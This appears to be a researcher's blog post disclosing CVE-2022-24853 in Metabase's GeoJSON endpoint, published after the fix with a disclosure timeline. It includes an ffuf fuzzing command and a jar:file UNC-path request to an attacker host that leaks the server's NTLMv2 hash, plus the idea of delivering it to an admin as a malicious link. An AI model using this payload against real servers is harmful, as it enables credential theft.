Metabase GeoJSON API Endpoint
Back in September 2021, Metabase released a security announcement regarding its GeoJSON API endpoint: GeoJSON URL validation can expose server files and environment variables to unauthorized users
We’ve discovered a potential security issue with the custom GeoJSON map (admin->settings->maps->custom maps->add a map) support and potential local file inclusion (including environment variables). This issue is fixed in a new maintenance release (1.40.5). Only versions 1.40.0-1.40.4 are affected.
Curious about this issue, I downloaded the newly released version 0.40.5 and started looking at this API endpoint.
Of course you need to provide a valid admin cookie to pass the authentication filter introduced with this new version. But maybe there is still something to find.
I created an admin account and started fuzzing the API Endpoint
And after trying different special chars and characters I found a strange behavior when you pass different URL schemes.
ffuf -u 'http://<metbaseURL>:3000/api/geojson?url=FUZZ://attacker' -w /usr/share/seclists/Miscellaneous/schemes.txt -H 'Cookie: metabase.DEVICE=<device>; metabase.SESSION=<session>' -fw 65 -mc all
Looking at these URL schemes deeper we can recognize some special behavior between them.
- HTTP, HTTPS works as designed
GET /api/geojson?url=http://<attacker> HTTP/1.1
GeoJSON URL failed to load
2. File, mailto and FTP responses with the following
Invalid GeoJSON file location: must either start with http:// or https:// or be a relative path to a file on the classpath. URLs referring to hosts that supply internal hosting metadata are prohibited.
3. coaps+tcp etc. or chunk schemes and also JAR was interesting, because they give me a detailed stack trace
I found a difference between chunk and JAR requests, which points me to further investigations.
JAR URL Handler
so sending a request like this
GET /api/geojson?url=jar://<attacker> HTTP/1.1
will trigger the following response
it seems that Metabase passes the URL still to the java.net.URL handler. So this is a parser differential issue.
providing the missing !/ in the URL leads to this error message
So something happens here. I tried various things and my goal was to bypass the filter to get file read access on the server.
After some time and various tries I figured out how to create a URL that doesn’t trigger the stack trace and run through.
Although the response does not print the contents of the file, with Procom I could proof that file access still occurs on the server.
So this was a first confirmation that you can bypass the implemented „file“ filter. However, if the file content is not printed in the response, then this is useless. So my next thought was, if I can’t „read“ local files, maybe I can read remote files. There are many java deserialization attacks, if Metabase tries to read and execute jar files maybe there is a way to exploit it.
So I set up a responder and tried to receive anything on my remote VM
NTLM Reflection Attack
Since I was testing from a Windows box, I surprisingly realized that the file schema allowed me to get the Windows NTLMv2 hash from the Metabase Server.
So sending this:
GET /api/geojson?url=jar:file:\\<attacker>\test.txt!/ HTTP/1.1
will give us the hash for the user as Metabase is running
I researched about this Java NTLM topic and found a interesting BlackHat presentation from 2019: https://i.blackhat.com/eu-19/Thursday/eu-19-Zhang-New-Exploit-Technique-In-Java-Deserialization-Attack.pdf
There could be more vulnerabilities, but at this point I decided to stop my research and report this issue to Metabase. They responded immediately, very gratefully, and promised to fix this vulnerability.
Take this vektors together, this exploit is only possible if
- Metabase runs on a Windows System
- The API call will be executed by someone how have admin privileges in Metabase
But as the API call is just a GET request, the attack vektor is much more trivial as soon you can force a logged in metabase admin to click your malicious link.
So a simple click to this link can lead to a password hash steal:
Fix and Timeline
- October 12, 2021: I reported the issue to Metabase through [email protected]
- October 12, 2021: Immediately response from Metabase, that they are planning to remove this endpoint completely
- December 13, 2021: Mail from Metabase about release of the Version v41.4 where this should be fixed and if I can double check this
- December 13, 2021: Retest from my site and mail to Metabase, that this vulnerability still exists and is not fixed by the latest release, including a more detailed description for reproducing
- December 13, 2021: Confirmation from Metabase, that this can be reproduced and they are working on a fix
- Januar 24, 2022: Release of (rc) Version v42, where this should be fixed
- Februar 1, 2022: Retest and confirmed that it is fixed
- April 14, 2022: Release of the security advisory Make GeoJSON URL read fully conditional on validation and CVE-2022-24853
Metabase has a proxy to load arbitrary URLs for JSON maps as part of our GeoJSON support. While we do validation to not return contents of arbitrary URLs, there is a case where a particularly crafted request could result in file access on windows, which allows enabling an NTLM relay attack, potentially allowing an attacker to receive the password hash.
<x.42.3 <x.41.6, <x.40.7
The following patches (or greater versions) are available:
- 0.42.4 and 1.42.4
- 0.41.7 and 1.41.7
- 0.40.8 and 1.40.8
This Blog Post was only published after the fixed release from Metabase.